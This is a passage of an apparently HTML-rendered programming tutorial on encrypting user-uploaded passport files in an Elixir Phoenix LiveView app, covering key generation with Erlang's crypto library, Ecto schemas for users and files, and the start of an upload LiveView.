&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add_encryption_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:encryption_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;nil&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;GenerateSecureString&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_change&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:encryption_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;_&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;changeset&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In our simplified &lt;code&gt;User&lt;/code&gt;-schema, we only store one field: the &lt;code&gt;encryption_key&lt;/code&gt;. We set this key when we create the user using the &lt;code&gt;add_encryption_key/1&lt;/code&gt; helper. If we don&apos;t set the encryption key while creating the user, this will generate a new random key of 32 bytes using the &lt;code&gt;GenerateSecureString&lt;/code&gt;-helper module. Let&apos;s have a look at that next.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#generate-secrets&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;generate-secrets&quot;&gt;&lt;/a&gt;Generate Secrets&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;GenerateSecureString&lt;/code&gt; module only has a single function: &lt;code&gt;call/1&lt;/code&gt;. It uses the erlang &lt;code&gt;:crypto&lt;/code&gt;-library to generate random bytes of a given number and encodes them to &lt;code&gt;Base64&lt;/code&gt;. As a rule of thumb, you never want to store bytes directly into the database, but always want to encode them first using e.g. &lt;code&gt;Base64&lt;/code&gt;. If not, you might &lt;a href=&quot;https://stackoverflow.com/questions/3538021/why-do-we-use-base64&quot;&gt;lose some bytes&lt;/a&gt; during the transfer.&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.GenerateSecureString&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;size&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;:crypto&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;strong_rand_bytes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Base&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;encode64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-file-schema&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-file-schema&quot;&gt;&lt;/a&gt;The File Schema&lt;/h2&gt;
&lt;p&gt;For every uploaded file, we create a &lt;code&gt;File&lt;/code&gt;-schema in our database. This is it:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Files.File&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Schema&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Changeset&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;files&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:slug&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.UUID&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;autogenerate: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:encryption_iv&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:resource_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:filename&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Enum&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;values: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:pdf&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:jpeg&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:png&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;belongs_to&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:owner&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Accounts.User&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;timestamps&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;cast&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:owner_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:encryption_iv&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:filename&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:resource_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_required&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:owner_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:encryption_iv&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:filename&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:resource_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the &lt;code&gt;File&lt;/code&gt;-schema, we generate a unique &lt;code&gt;slug&lt;/code&gt; that allows us to fetch the file through our controller using an HTTP request like &lt;code&gt;GET /files/#&amp;lbrace;file.slug&amp;rbrace;&lt;/code&gt;. We also store the encryption &lt;a href=&quot;https://en.wikipedia.org/wiki/Salt_(cryptography)&quot;&gt;salt&lt;/a&gt; or &lt;code&gt;encryption_iv&lt;/code&gt;. Next, we store the &lt;code&gt;resource_path&lt;/code&gt;. That&apos;s the path in our S3 bucket to the file, e.g. &lt;code&gt;/files/another-random-slug&lt;/code&gt;. We need this path for downloading the file using &lt;code&gt;ExAws.S3.get_object/3&lt;/code&gt;. We also store the &lt;code&gt;filename&lt;/code&gt; and &lt;code&gt;content_type&lt;/code&gt;. This makes it easier to display the file in our UI as either image or embedded PDF. Lastly, we store the relationship of the file to the &lt;code&gt;User&lt;/code&gt;-schema as &lt;code&gt;owner_id&lt;/code&gt; here. This allows us to use the encryption key of the user for decrypting the file.&lt;/p&gt;
&lt;p&gt;And that&apos;s it regarding the schemas! Next, we&apos;ll look at the LiveView and the encryption and decryption services.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-liveview&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-liveview&quot;&gt;&lt;/a&gt;The LiveView&lt;/h2&gt;
&lt;p&gt;Our LiveView does a lot in this demo project. It allows the user to upload a passport file as PDF, PNG, or JPG. It displays all files of the user, and it embeds either an &lt;code&gt;&lt;img&gt;&lt;/code&gt; or an &lt;code&gt;&lt;embed&gt;&lt;/code&gt; element for displaying the files. Have a look at the complete code below and then we&apos;ll discuss it afterward:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.UploadLive&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:live_view&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Files.EncryptAndUploadFile&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;assigns&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;H&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;h1&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;Upload&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;h1&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;form&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;upload-form&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx-submit&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;save&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx-change&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;validate&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;live_file_input&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;upload&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;uploads&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;passport&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;        &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;button&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;submit&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx-disable-with&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;Uploading...&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;Upload Passport&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;form&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;      &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;ul&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
